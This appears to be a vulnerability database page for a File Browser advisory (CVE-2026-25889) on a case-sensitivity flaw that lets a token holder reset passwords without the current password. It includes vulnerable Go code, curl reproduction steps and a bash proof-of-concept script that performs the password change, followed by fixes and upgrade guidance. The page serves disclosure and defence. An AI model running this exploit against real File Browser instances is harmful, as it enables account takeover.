GHSA-hxw8-4h9j-hq2r CVE-2026-25889 GO-2026-4475
File Browser has an Authentication Bypass in User Password Update
- Severity
- 5.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.37%
- Chance of exploitation in the next 30 days. Higher than 30.51% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-178 Improper Handling of Case Sensitivity
- Fix
2.57.1- Upgrade github.com/filebrowser/filebrowser/v2 to this version or later
Description
Security Advisory: Authentication Bypass in User Password Update
Summary
A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the current_password verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.
CVSS Score: 7.5 (High)
CWE: CWE-178 (Improper Handling of Case Sensitivity)
Details
The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).
Vulnerable Code
// http/users.go:181-200
if d.settings.AuthMethod == auth.MethodJSONAuth {
var sensibleFields = map[string]struct{}{
"all": {},
"username": {},
"password": {}, // lowercase
"scope": {},
"lockPassword": {},
"commands": {},
"perm": {},
}
for _, field := range req.Which {
if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
}
Root Cause
- The
sensibleFieldsmap uses lowercase keys (e.g.,"password") - The lookup
sensibleFields[field]is case-sensitive - When
req.Whichcontains"Password"(Title Case), the lookup returnsfalse - The password verification block is skipped entirely
- Later in the code (line 229), field names are converted to Title Case for processing, so
"Password"is a valid field name
Attack Flow
1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)
2. Attacker sends PUT /api/users/{id} with:
- which: ["Password"] (Title Case - bypasses validation)
- data.password: "attacker_password"
- NO current_password field required
3. Password is changed without verification
4. Victim is locked out, attacker has full access
PoC
Prerequisites
- A valid JWT token for any user account
- Target Filebrowser instance using JSON authentication (default)
Reproduction Steps
Step 1: Obtain a valid JWT token
TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"victim","password":"victim_password"}')
Step 2: Attempt normal password change (should fail)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["password"],
"data": {"id": 1, "password": "NewPassword123456"}
}'
# Response: 400 Bad Request (the current password is incorrect)
Step 3: Bypass with Title Case (succeeds without current_password)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["Password"],
"data": {"id": 1, "password": "HackedPassword123"}
}'
# Response: 200 OK
Step 4: Verify account takeover
# Original password no longer works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"victim_password"}'
# Response: 403 Forbidden
# New password works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"HackedPassword123"}'
# Response: Valid JWT token
Automated PoC Script
#!/bin/bash
# Usage: ./poc.sh <target> <username> <current_password> <new_password>
TARGET="$1"
USERNAME="$2"
CURRENT_PASS="$3"
NEW_PASS="$4"
# Login
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}")
# Get user ID from token
USER_ID=$(echo "$TOKEN" | python3 -c "
import sys,json,base64
parts=input().split('.')
payload=json.loads(base64.b64decode(parts[1]+'=='))
print(payload['user']['id'])
")
# Exploit: Change password without current_password
curl -s -X PUT "$TARGET/api/users/$USER_ID" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"what\": \"user\",
\"which\": [\"Password\"],
\"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"}
}"
echo "Password changed to: $NEW_PASS"
Impact
Who is Impacted
- All Filebrowser users using JSON authentication method (default configuration)
- Any user whose JWT token can be obtained by an attacker
- Particularly high-value targets: administrator accounts
Attack Scenarios
| Scenario | Impact |
|---|---|
| XSS + Token Theft | Complete account takeover |
| JWT in Server Logs | Mass account compromise |
| Shared Computer | Session hijacking |
| Malicious Browser Extension | Credential theft |
Security Impact
| Category | Severity |
|---|---|
| Confidentiality | High - Attacker gains full account access |
| Integrity | High - Attacker can modify all user data |
| Availability | High - Legitimate user locked out |
Scope
- The vulnerability affects password modification only
- Other sensitive fields (
Username,Scope,Perm, etc.) have additional protection viaNonModifiableFieldsForNonAdmincheck - However, for administrators, all fields can be modified using this bypass technique
Suggested Fix
Option 1: Case-insensitive field matching (Recommended)
// Convert field to lowercase before checking
for _, field := range req.Which {
if _, ok := sensibleFields[strings.ToLower(field)]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
Option 2: Use Title Case in sensibleFields
var sensibleFields = map[string]struct{}{
"All": {},
"Username": {},
"Password": {}, // Title Case to match post-transformation
"Scope": {},
"LockPassword": {},
"Commands": {},
"Perm": {},
}
// Check AFTER field name transformation
for k, v := range req.Which {
v = cases.Title(language.English, cases.NoLower).String(v)
req.Which[k] = v
// Now check with Title Case
if _, ok := sensibleFields[v]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
References
- Affected File:
http/users.go - Affected Lines: 181-200
- Related Code:
NonModifiableFieldsForNonAdmin(line 17)
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/filebrowser/filebrowser | all versions |
No fix yet |
| github.com/filebrowser/filebrowser/v2 | < 2.57.1 |
2.57.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/filebrowser/filebrowser/v2 Go → 2.57.1
- go
go get github.com/filebrowser/filebrowser/v2@v2.57.1 && go mod tidy
Severity breakdown
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-178: Improper Handling of Case Sensitivity
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
How to prevent it
- Architecture and Design: Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-833g-cqhp-h72j File Browser: Share API exposes the password hash and bypass token | Low | Also affects github.com/filebrowser/filebrowser |
| GHSA-83xp-526h-j3ww File Browser: Archive builder turns backslash filenames into path traversal (zip-slip) | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-7rc3-g7h6-22m7 File Browser: Colliding username normalization gives two users the same home directory | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-8wc8-hf36-mjh9 File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-fmm7-x4gx-8jhr File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-xqp3-jq6g-x3qm File Browser: Authentication Bypass via Proxy Auth Header Forgery | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-m93h-4hw7-5qcm File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE) | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-8c9q-7855-wfxq File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection | High | Also affects github.com/filebrowser/filebrowser |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor